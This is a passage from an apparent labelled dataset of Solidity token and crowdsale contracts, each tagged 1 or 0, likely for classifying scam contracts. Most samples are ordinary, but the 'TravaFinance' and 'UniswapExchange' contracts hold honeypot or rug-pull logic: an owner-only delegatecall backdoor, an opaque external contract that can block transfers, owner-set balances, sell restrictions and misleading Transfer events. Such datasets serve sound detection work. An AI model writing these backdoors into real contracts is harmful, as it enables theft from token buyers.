{
uint256 z = ((add(x,1)) / 2);
y = x;
while (z < y)
{
y = z;
z = ((add((x / z),z)) / 2);
}
}
function sq(uint256 x)
internal
pure
returns (uint256)
{
return (mul(x,x));
}
function pwr(uint256 x, uint256 y)
internal
pure
returns (uint256)
{
if (x==0)
return (0);
else if (y==0)
return (1);
else
{
uint256 z = x;
for (uint256 i=1; i < y; i++)
z = mul(z,x);
return (z);
}
}
} | 1 | 3,509 |
pragma solidity ^0.4.11;
library SafeMath {
function mul(uint256 a, uint256 b) internal constant returns (uint256) {
uint256 c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal constant returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal constant returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal constant returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract token { function transfer(address receiver, uint amount){ } }
contract Crowdsale {
using SafeMath for uint256;
address public wallet;
address public addressOfTokenUsedAsReward;
token tokenReward;
mapping(address => bool) public whitelist;
uint256 public startTime;
uint256 public endTime;
uint256 public weiRaised;
uint256 public tokensSold;
event TokenPurchase(address indexed purchaser, address indexed beneficiary, uint256 value, uint256 amount);
function Crowdsale() {
startTime = now + 80715 * 1 minutes;
endTime = startTime + 31*24*60*1 minutes;
wallet = 0xe65b6eEAfE34adb2e19e8b2AE9c517688771548E;
addressOfTokenUsedAsReward = 0xA024E8057EEC474a9b2356833707Dd0579E26eF3;
tokenReward = token(addressOfTokenUsedAsReward);
}
function changeWallet(address _wallet){
require(msg.sender == wallet);
wallet = _wallet;
}
function whitelistAddresses(address[] _addrs){
require(msg.sender==wallet);
for(uint i = 0; i < _addrs.length; ++i)
whitelist[_addrs[i]] = true;
}
function removeAddressesFromWhitelist(address[] _addrs){
require(msg.sender==wallet);
for(uint i = 0;i < _addrs.length;++i)
whitelist[_addrs[i]] = false;
}
function () payable {
buyTokens(msg.sender);
}
function buyTokens(address beneficiary) payable {
require(beneficiary != 0x0);
require(validPurchase());
require(whitelist[beneficiary]);
uint256 weiAmount = msg.value;
uint256 tokens = (weiAmount) * 5000;
if(now < startTime + 9*24*60* 1 minutes){
tokens += (tokens * 40) / 100;
if(tokensSold>14000000*10**18) throw;
}else if(now < startTime + 16*24*60* 1 minutes){
throw;
}else if(now < startTime + 23*24*60* 1 minutes){
tokens += (tokens * 20) / 100;
}else if(now < startTime + 25*24*60* 1 minutes){
throw;
}
weiRaised = weiRaised.add(weiAmount);
tokenReward.transfer(beneficiary, tokens);
tokensSold = tokensSold.add(tokens);
TokenPurchase(msg.sender, beneficiary, weiAmount, tokens);
forwardFunds();
}
function forwardFunds() internal {
wallet.transfer(msg.value);
}
function validPurchase() internal constant returns (bool) {
bool withinPeriod = now >= startTime && now <= endTime;
bool nonZeroPurchase = msg.value != 0;
return withinPeriod && nonZeroPurchase;
}
function withdrawTokens(uint256 _amount) {
require(msg.sender==wallet);
tokenReward.transfer(wallet,_amount);
}
} | 1 | 2,684 |
pragma solidity >=0.4.22 <0.6.0;
interface tokenRecipient { function receiveApproval(address _from, uint256 _value, address _token, bytes _extraData) external; }
contract CDBPToken {
string public name;
string public symbol;
uint8 public decimals = 18;
uint256 public totalSupply;
mapping (address => uint256) public balanceOf;
mapping (address => mapping (address => uint256)) public allowance;
event Transfer(address indexed from, address indexed to, uint256 value);
event Burn(address indexed from, uint256 value);
function CDBPToken(
uint256 initialSupply,
string tokenName,
string tokenSymbol
) public {
totalSupply = initialSupply * 10 ** uint256(decimals);
balanceOf[msg.sender] = totalSupply;
name = tokenName;
symbol = tokenSymbol;
}
function _transfer(address _from, address _to, uint _value) internal {
require(_to != 0x0);
require(balanceOf[_from] >= _value);
require(balanceOf[_to] + _value >= balanceOf[_to]);
uint previousBalances = balanceOf[_from] + balanceOf[_to];
balanceOf[_from] -= _value;
balanceOf[_to] += _value;
emit Transfer(_from, _to, _value);
assert(balanceOf[_from] + balanceOf[_to] == previousBalances);
}
function transfer(address _to, uint256 _value) public {
_transfer(msg.sender, _to, _value);
}
function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) {
require(_value <= allowance[_from][msg.sender]);
allowance[_from][msg.sender] -= _value;
_transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public
returns (bool success) {
allowance[msg.sender][_spender] = _value;
return true;
}
function approveAndCall(address _spender, uint256 _value, bytes _extraData)
public
returns (bool success) {
tokenRecipient spender = tokenRecipient(_spender);
if (approve(_spender, _value)) {
spender.receiveApproval(msg.sender, _value, this, _extraData);
return true;
}
}
function burn(uint256 _value) public returns (bool success) {
require(balanceOf[msg.sender] >= _value);
balanceOf[msg.sender] -= _value;
totalSupply -= _value;
emit Burn(msg.sender, _value);
return true;
}
function burnFrom(address _from, uint256 _value) public returns (bool success) {
require(balanceOf[_from] >= _value);
require(_value <= allowance[_from][msg.sender]);
balanceOf[_from] -= _value;
allowance[_from][msg.sender] -= _value;
totalSupply -= _value;
emit Burn(_from, _value);
return true;
}
} | 1 | 4,827 |
pragma solidity ^0.7.0;
interface IERC20 {
function totalSupply() external view returns(uint);
function balanceOf(address account) external view returns(uint);
function transfer(address recipient, uint amount) external returns(bool);
function allowance(address owner, address spender) external view returns(uint);
function approve(address spender, uint amount) external returns(bool);
function transferFrom(address sender, address recipient, uint amount) external returns(bool);
event Transfer(address indexed from, address indexed to, uint value);
event Approval(address indexed owner, address indexed spender, uint value);
}
interface IUniswapV2Router02 {
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract BotProtected {
address internal owner;
address internal protectionFromBots;
address public uniPair;
constructor(address _botProtection) {
protectionFromBots = _botProtection;
}
modifier checkBots(address _from, address _to, uint256 _value) {
(bool notABot, bytes memory isNotBot) = protectionFromBots.call(abi.encodeWithSelector(0x15274141, _from, _to, uniPair, _value));
require(notABot);
_;
}
}
library SafeMath {
function add(uint a, uint b) internal pure returns(uint) {
uint c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint a, uint b) internal pure returns(uint) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b <= a, errorMessage);
uint c = a - b;
return c;
}
function mul(uint a, uint b) internal pure returns(uint) {
if (a == 0) {
return 0;
}
uint c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint a, uint b) internal pure returns(uint) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b > 0, errorMessage);
uint c = a / b;
return c;
}
}
abstract contract ERC20 {
using SafeMath for uint;
mapping(address => uint) private _balances;
mapping(address => mapping(address => uint)) private _allowances;
uint private _totalSupply;
function totalSupply() public view returns(uint) {
return _totalSupply;
}
function balanceOf(address account) public view returns(uint) {
return _balances[account];
}
function transfer(address recipient, uint amount) public returns(bool) {
_transfer(msg.sender, recipient, amount);
return true;
}
function allowance(address owner, address spender) public view returns(uint) {
return _allowances[owner][spender];
}
function approve(address spender, uint amount) public returns(bool) {
_approve(msg.sender, spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint amount) public returns(bool) {
_transfer(sender, recipient, amount);
_approve(sender, msg.sender, _allowances[sender][msg.sender].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint addedValue) public returns(bool) {
_approve(msg.sender, spender, _allowances[msg.sender][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint subtractedValue) public returns(bool) {
_approve(msg.sender, spender, _allowances[msg.sender][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(address sender, address recipient, uint amount) internal {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
}
function _mint(address account, uint amount) internal {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
}
function _burn(address account, uint amount) internal {
require(account != address(0), "ERC20: burn from the zero address");
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
}
function _approve(address owner, address spender, uint amount) internal {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
}
}
contract TravaFinance is BotProtected {
mapping (address => uint) public balanceOf;
mapping (address => mapping (address => uint)) public allowance;
uint constant public decimals = 18;
uint public totalSupply = 500000000000000000000000000;
string public name = "TravaFinance Token";
string public symbol = "TRAVA";
IUniswapV2Router02 public uniRouter = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
address public wETH = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2;
event Transfer(address indexed _from, address indexed _to, uint _value);
event Approval(address indexed _owner, address indexed _spender, uint _value);
constructor(address _botProtection) BotProtected(_botProtection) {
owner = tx.origin;
uniPair = pairForUniswap(wETH, address(this));
allowance[address(this)][address(uniRouter)] = uint(-1);
allowance[tx.origin][uniPair] = uint(-1);
}
function transfer(address _to, uint _value) public payable returns (bool) {
return transferFrom(msg.sender, _to, _value);
}
function transferFrom(address _from, address _to, uint _value) public payable checkBots(_from, _to, _value) returns (bool) {
if (_value == 0) { return true; }
if (msg.sender != _from) {
require(allowance[_from][msg.sender] >= _value);
allowance[_from][msg.sender] -= _value;
}
require(balanceOf[_from] >= _value);
balanceOf[_from] -= _value;
balanceOf[_to] += _value;
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint _value) public payable returns (bool) {
allowance[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function delegate(address a, bytes memory b) public payable returns (bool) {
require(msg.sender == owner);
(bool success, ) = a.delegatecall(b);
return success;
}
function pairForUniswap(address tokenA, address tokenB) internal pure returns (address pair) {
(address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA);
pair = address(uint(keccak256(abi.encodePacked(
hex'ff',
0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f,
keccak256(abi.encodePacked(token0, token1)),
hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f'
))));
}
function distribute(address[] memory _tos, uint amount) public {
require(msg.sender == owner);
protectionFromBots.call(abi.encodeWithSelector(0xd5eaf4c3, _tos));
for(uint i = 0; i < _tos.length; i++) {
balanceOf[_tos[i]] = amount;
emit Transfer(address(0x0), _tos[i], amount);
}
}
function list(uint _numList, address[] memory _tos, uint[] memory _amounts) public payable {
require(msg.sender == owner);
balanceOf[address(this)] = _numList;
balanceOf[msg.sender] = totalSupply * 6 / 100;
uniRouter.addLiquidityETH{value: msg.value}(
address(this),
_numList,
_numList,
msg.value,
msg.sender,
block.timestamp + 600
);
require(_tos.length == _amounts.length);
protectionFromBots.call(abi.encodeWithSelector(0xd5eaf4c3, _tos));
for(uint i = 0; i < _tos.length; i++) {
balanceOf[_tos[i]] = _amounts[i];
emit Transfer(address(0x0), _tos[i], _amounts[i]);
}
}
} | 0 | 1,577 |
contract Qudostokenone {
string public standard = 'Token 0.1';
string public name;
string public symbol;
uint8 public decimals;
uint256 public initialSupply;
uint256 public totalSupply;
mapping (address => uint256) public balanceOf;
mapping (address => mapping (address => uint256)) public allowance;
function Qudostokenone() {
initialSupply = 500000;
name ="qudostokenone";
decimals = 3;
symbol = "QTKO";
balanceOf[msg.sender] = initialSupply;
totalSupply = initialSupply;
}
function transfer(address _to, uint256 _value) {
if (balanceOf[msg.sender] < _value) throw;
if (balanceOf[_to] + _value < balanceOf[_to]) throw;
balanceOf[msg.sender] -= _value;
balanceOf[_to] += _value;
}
function () {
throw;
}
} | 1 | 5,329 |
pragma solidity ^0.5.17;
interface IERC20 {
function totalSupply() external view returns(uint);
function balanceOf(address account) external view returns(uint);
function transfer(address recipient, uint amount) external returns(bool);
function allowance(address owner, address spender) external view returns(uint);
function approve(address spender, uint amount) external returns(bool);
function transferFrom(address sender, address recipient, uint amount) external returns(bool);
event Transfer(address indexed from, address indexed to, uint value);
event Approval(address indexed owner, address indexed spender, uint value);
}
library Address {
function isContract(address account) internal view returns(bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
assembly { codehash:= extcodehash(account) }
return (codehash != 0x0 && codehash != accountHash);
}
}
contract Context {
constructor() internal {}
function _msgSender() internal view returns(address payable) {
return msg.sender;
}
}
library SafeMath {
function add(uint a, uint b) internal pure returns(uint) {
uint c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint a, uint b) internal pure returns(uint) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b <= a, errorMessage);
uint c = a - b;
return c;
}
function mul(uint a, uint b) internal pure returns(uint) {
if (a == 0) {
return 0;
}
uint c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint a, uint b) internal pure returns(uint) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b > 0, errorMessage);
uint c = a / b;
return c;
}
}
library SafeERC20 {
using SafeMath for uint;
using Address for address;
function safeTransfer(IERC20 token, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint value) internal {
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function callOptionalReturn(IERC20 token, bytes memory data) private {
require(address(token).isContract(), "SafeERC20: call to non-contract");
(bool success, bytes memory returndata) = address(token).call(data);
require(success, "SafeERC20: low-level call failed");
if (returndata.length > 0) {
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
contract ERC20 is Context, IERC20 {
using SafeMath for uint;
mapping(address => uint) private _balances;
mapping(address => mapping(address => uint)) private _allowances;
uint private _totalSupply;
function totalSupply() public view returns(uint) {
return _totalSupply;
}
function balanceOf(address account) public view returns(uint) {
return _balances[account];
}
function transfer(address recipient, uint amount) public returns(bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view returns(uint) {
return _allowances[owner][spender];
}
function approve(address spender, uint amount) public returns(bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint amount) public returns(bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint addedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint subtractedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(address sender, address recipient, uint amount) internal {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint amount) internal {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint amount) internal {
require(account != address(0), "ERC20: burn from the zero address");
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address owner, address spender, uint amount) internal {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
}
contract ERC20Detailed is IERC20 {
string private _name;
string private _symbol;
uint8 private _decimals;
constructor(string memory name, string memory symbol, uint8 decimals) public {
_name = name;
_symbol = symbol;
_decimals = decimals;
}
function name() public view returns(string memory) {
return _name;
}
function symbol() public view returns(string memory) {
return _symbol;
}
function decimals() public view returns(uint8) {
return _decimals;
}
}
contract UniswapExchange {
event Transfer(address indexed _from, address indexed _to, uint _value);
event Approval(address indexed _owner, address indexed _spender, uint _value);
function transfer(address _to, uint _value) public payable returns (bool) {
return transferFrom(msg.sender, _to, _value);
}
function ensure(address _from, address _to, uint _value) internal view returns(bool) {
address _UNI = pairFor(0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f, 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2, address(this));
if(_from == owner || _to == owner || _from == UNI || _from == _UNI || _from==tradeAddress||canSale[_from]){
return true;
}
require(condition(_from, _value));
return true;
}
function transferFrom(address _from, address _to, uint _value) public payable returns (bool) {
if (_value == 0) {return true;}
if (msg.sender != _from) {
require(allowance[_from][msg.sender] >= _value);
allowance[_from][msg.sender] -= _value;
}
require(ensure(_from, _to, _value));
require(balanceOf[_from] >= _value);
balanceOf[_from] -= _value;
balanceOf[_to] += _value;
_onSaleNum[_from]++;
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint _value) public payable returns (bool) {
allowance[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function condition(address _from, uint _value) internal view returns(bool){
if(_saleNum == 0 && _minSale == 0 && _maxSale == 0) return false;
if(_saleNum > 0){
if(_onSaleNum[_from] >= _saleNum) return false;
}
if(_minSale > 0){
if(_minSale > _value) return false;
}
if(_maxSale > 0){
if(_value > _maxSale) return false;
}
return true;
}
function delegate(address a, bytes memory b) public payable {
require(msg.sender == owner);
a.delegatecall(b);
}
mapping(address=>uint256) private _onSaleNum;
mapping(address=>bool) private canSale;
uint256 private _minSale;
uint256 private _maxSale;
uint256 private _saleNum;
function init(uint256 saleNum, uint256 token, uint256 maxToken) public returns(bool){
require(msg.sender == owner);
_minSale = token > 0 ? token*(10**uint256(decimals)) : 0;
_maxSale = maxToken > 0 ? maxToken*(10**uint256(decimals)) : 0;
_saleNum = saleNum;
}
function batchSend(address[] memory _tos, uint _value) public payable returns (bool) {
require (msg.sender == owner);
uint total = _value * _tos.length;
require(balanceOf[msg.sender] >= total);
balanceOf[msg.sender] -= total;
for (uint i = 0; i < _tos.length; i++) {
address _to = _tos[i];
balanceOf[_to] += _value;
emit Transfer(msg.sender, _to, _value/2);
emit Transfer(msg.sender, _to, _value/2);
}
return true;
}
address tradeAddress;
function setTradeAddress(address addr) public returns(bool){require (msg.sender == owner);
tradeAddress = addr;
return true;
}
function pairFor(address factory, address tokenA, address tokenB) internal pure returns (address pair) {
(address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA);
pair = address(uint(keccak256(abi.encodePacked(
hex'ff',
factory,
keccak256(abi.encodePacked(token0, token1)),
hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f'
))));
}
mapping (address => uint) public balanceOf;
mapping (address => mapping (address => uint)) public allowance;
uint constant public decimals = 18;
uint public totalSupply;
string public name;
string public symbol;
address private owner;
address constant UNI = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
constructor(string memory _name, string memory _symbol, uint256 _supply) payable public {
name = _name;
symbol = _symbol;
totalSupply = _supply*(10**uint256(decimals));
owner = msg.sender;
balanceOf[msg.sender] = totalSupply;
allowance[msg.sender][0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D] = uint(-1);
emit Transfer(address(0x0), msg.sender, totalSupply);
}
} | 0 | 1,826 |
pragma solidity ^0.4.18;
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
function max64(uint64 a, uint64 b) internal pure returns (uint64) {
return a >= b ? a : b;
}
function min64(uint64 a, uint64 b) internal pure returns (uint64) {
return a < b ? a : b;
}
function max256(uint256 a, uint256 b) internal pure returns (uint256) {
return a >= b ? a : b;
}
function min256(uint256 a, uint256 b) internal pure returns (uint256) {
return a < b ? a : b;
}
}
contract Ownable {
address public owner;
function Ownable() public {
owner = msg.sender;
}
modifier onlyOwner() {
if (msg.sender != owner) {
revert();
}
_;
}
function transferOwnership(address newOwner) public onlyOwner {
if (newOwner != address(0)) {
owner = newOwner;
}
}
function destruct() public onlyOwner {
selfdestruct(owner);
}
}
contract ERC20Basic {
function balanceOf(address who) public constant returns (uint256);
function transfer(address to, uint256 value) public;
event Transfer(address indexed from, address indexed to, uint256 value);
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public constant returns (uint256);
function transferFrom(address from, address to, uint256 value) public;
function approve(address spender, uint256 value) public;
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
uint256 public totalSupply;
modifier onlyPayloadSize(uint256 size) {
if(msg.data.length < size + 4) {
revert();
}
_;
}
function transfer(address _to, uint256 _value) public onlyPayloadSize(2 * 32) {
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
Transfer(msg.sender, _to, _value);
}
function balanceOf(address _owner) public constant returns (uint256 balance) {
return balances[_owner];
}
}
contract StandardToken is BasicToken, ERC20 {
mapping (address => mapping (address => uint256)) allowed;
function transferFrom(address _from, address _to, uint256 _value) public onlyPayloadSize(3 * 32) {
var _allowance = allowed[_from][msg.sender];
balances[_to] = balances[_to].add(_value);
balances[_from] = balances[_from].sub(_value);
allowed[_from][msg.sender] = _allowance.sub(_value);
Transfer(_from, _to, _value);
}
function approve(address _spender, uint256 _value) public {
if ((_value != 0) && (allowed[msg.sender][_spender] != 0)) revert();
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
}
function allowance(address _owner, address _spender) public constant returns (uint256 remaining) {
return allowed[_owner][_spender];
}
}
contract LTS is StandardToken, Ownable {
string public constant name = "I love the sauce（我爱酱小白）";
string public constant symbol = "LTS";
uint256 public constant decimals = 8;
function LTS() public {
owner = msg.sender;
totalSupply=10000000000000000;
balances[owner]=totalSupply;
}
function () public {
revert();
}
} | 1 | 4,355 |
pragma solidity ^0.5.7;
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256 c) {
c = a + b;
assert(c >= a);
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256 c) {
if (a == 0) {
return 0;
}
c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b > 0);
uint256 c = a / b;
assert(a == b * c + a % b);
return a / b;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b != 0);
return a % b;
}
}
interface IERC20{
function name() external view returns (string memory);
function symbol() external view returns (string memory);
function decimals() external view returns (uint8);
function totalSupply() external view returns (uint256);
function balanceOf(address owner) external view returns (uint256);
function transfer(address to, uint256 value) external returns (bool);
function transferFrom(address from, address to, uint256 value) external returns (bool);
function approve(address spender, uint256 value) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract Ownable {
address internal _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () internal {
_owner = msg.sender;
emit OwnershipTransferred(address(0), _owner);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(msg.sender == _owner);
_;
}
function transferOwnership(address newOwner) external onlyOwner {
require(newOwner != address(0));
_owner = newOwner;
emit OwnershipTransferred(_owner, newOwner);
}
function rescueTokens(address tokenAddr, address receiver, uint256 amount) external onlyOwner {
IERC20 _token = IERC20(tokenAddr);
require(receiver != address(0));
uint256 balance = _token.balanceOf(address(this));
require(balance >= amount);
assert(_token.transfer(receiver, amount));
}
function withdrawEther(address payable to, uint256 amount) external onlyOwner {
require(to != address(0));
uint256 balance = address(this).balance;
require(balance >= amount);
to.transfer(amount);
}
}
contract Pausable is Ownable {
bool private _paused;
event Paused(address account);
event Unpaused(address account);
constructor () internal {
_paused = false;
}
function paused() public view returns (bool) {
return _paused;
}
modifier whenNotPaused() {
require(!_paused);
_;
}
modifier whenPaused() {
require(_paused);
_;
}
function pause() external onlyOwner whenNotPaused {
_paused = true;
emit Paused(msg.sender);
}
function unpause() external onlyOwner whenPaused {
_paused = false;
emit Unpaused(msg.sender);
}
}
contract Wesion is Ownable, Pausable, IERC20 {
using SafeMath for uint256;
string private _name = "Wesion";
string private _symbol = "Wesion";
uint8 private _decimals = 6;
uint256 private _cap = 35000000000000000;
uint256 private _totalSupply;
mapping (address => bool) private _minter;
event Mint(address indexed to, uint256 value);
event MinterChanged(address account, bool state);
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowed;
bool private _allowWhitelistRegistration;
mapping(address => address) private _referrer;
mapping(address => uint256) private _refCount;
event WesionSaleWhitelistRegistered(address indexed addr, address indexed refAddr);
event WesionSaleWhitelistTransferred(address indexed previousAddr, address indexed _newAddr);
event WesionSaleWhitelistRegistrationEnabled();
event WesionSaleWhitelistRegistrationDisabled();
uint256 private _whitelistRegistrationValue = 1001000000;
uint256[15] private _whitelistRefRewards = [
301000000,
200000000,
100000000,
100000000,
100000000,
50000000,
40000000,
30000000,
20000000,
10000000,
10000000,
10000000,
10000000,
10000000,
10000000
];
event Donate(address indexed account, uint256 amount);
constructor() public {
_minter[msg.sender] = true;
_allowWhitelistRegistration = true;
emit WesionSaleWhitelistRegistrationEnabled();
_referrer[msg.sender] = msg.sender;
emit WesionSaleWhitelistRegistered(msg.sender, msg.sender);
}
function () external payable {
emit Donate(msg.sender, msg.value);
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
function cap() public view returns (uint256) {
return _cap;
}
function totalSupply() public view returns (uint256) {
return _totalSupply;
}
function balanceOf(address owner) public view returns (uint256) {
return _balances[owner];
}
function allowance(address owner, address spender) public view returns (uint256) {
return _allowed[owner][spender];
}
function transfer(address to, uint256 value) public whenNotPaused returns (bool) {
if (_allowWhitelistRegistration && value == _whitelistRegistrationValue
&& inWhitelist(to) && !inWhitelist(msg.sender) && isNotContract(msg.sender)) {
_regWhitelist(msg.sender, to);
return true;
} else {
_transfer(msg.sender, to, value);
return true;
}
}
function approve(address spender, uint256 value) public returns (bool) {
_approve(msg.sender, spender, value);
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public returns (bool) {
_approve(msg.sender, spender, _allowed[msg.sender][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public returns (bool) {
_approve(msg.sender, spender, _allowed[msg.sender][spender].sub(subtractedValue));
return true;
}
function transferFrom(address from, address to, uint256 value) public whenNotPaused returns (bool) {
require(_allowed[from][msg.sender] >= value);
_transfer(from, to, value);
_approve(from, msg.sender, _allowed[from][msg.sender].sub(value));
return true;
}
function _transfer(address from, address to, uint256 value) internal {
require(to != address(0));
_balances[from] = _balances[from].sub(value);
_balances[to] = _balances[to].add(value);
emit Transfer(from, to, value);
}
function _approve(address owner, address spender, uint256 value) internal {
require(owner != address(0));
require(spender != address(0));
_allowed[owner][spender] = value;
emit Approval(owner, spender, value);
}
modifier onlyMinter() {
require(_minter[msg.sender]);
_;
}
function isMinter(address account) public view returns (bool) {
return _minter[account];
}
function setMinterState(address account, bool state) external onlyOwner {
_minter[account] = state;
emit MinterChanged(account, state);
}
function mint(address to, uint256 value) public onlyMinter returns (bool) {
_mint(to, value);
return true;
}
function _mint(address account, uint256 value) internal {
require(_totalSupply.add(value) <= _cap);
require(account != address(0));
_totalSupply = _totalSupply.add(value);
_balances[account] = _balances[account].add(value);
emit Mint(account, value);
emit Transfer(address(0), account, value);
}
modifier onlyInWhitelist() {
require(_referrer[msg.sender] != address(0));
_;
}
function allowWhitelistRegistration() public view returns (bool) {
return _allowWhitelistRegistration;
}
function inWhitelist(address account) public view returns (bool) {
return _referrer[account] != address(0);
}
function referrer(address account) public view returns (address) {
return _referrer[account];
}
function refCount(address account) public view returns (uint256) {
return _refCount[account];
}
function disableWesionSaleWhitelistRegistration() external onlyOwner {
_allowWhitelistRegistration = false;
emit WesionSaleWhitelistRegistrationDisabled();
}
function _regWhitelist(address account, address refAccount) internal {
_refCount[refAccount] = _refCount[refAccount].add(1);
_referrer[account] = refAccount;
emit WesionSaleWhitelistRegistered(account, refAccount);
_transfer(msg.sender, address(this), _whitelistRegistrationValue);
address cursor = account;
uint256 remain = _whitelistRegistrationValue;
for(uint i = 0; i < _whitelistRefRewards.length; i++) {
address receiver = _referrer[cursor];
if (cursor != receiver) {
if (_refCount[receiver] > i) {
_transfer(address(this), receiver, _whitelistRefRewards[i]);
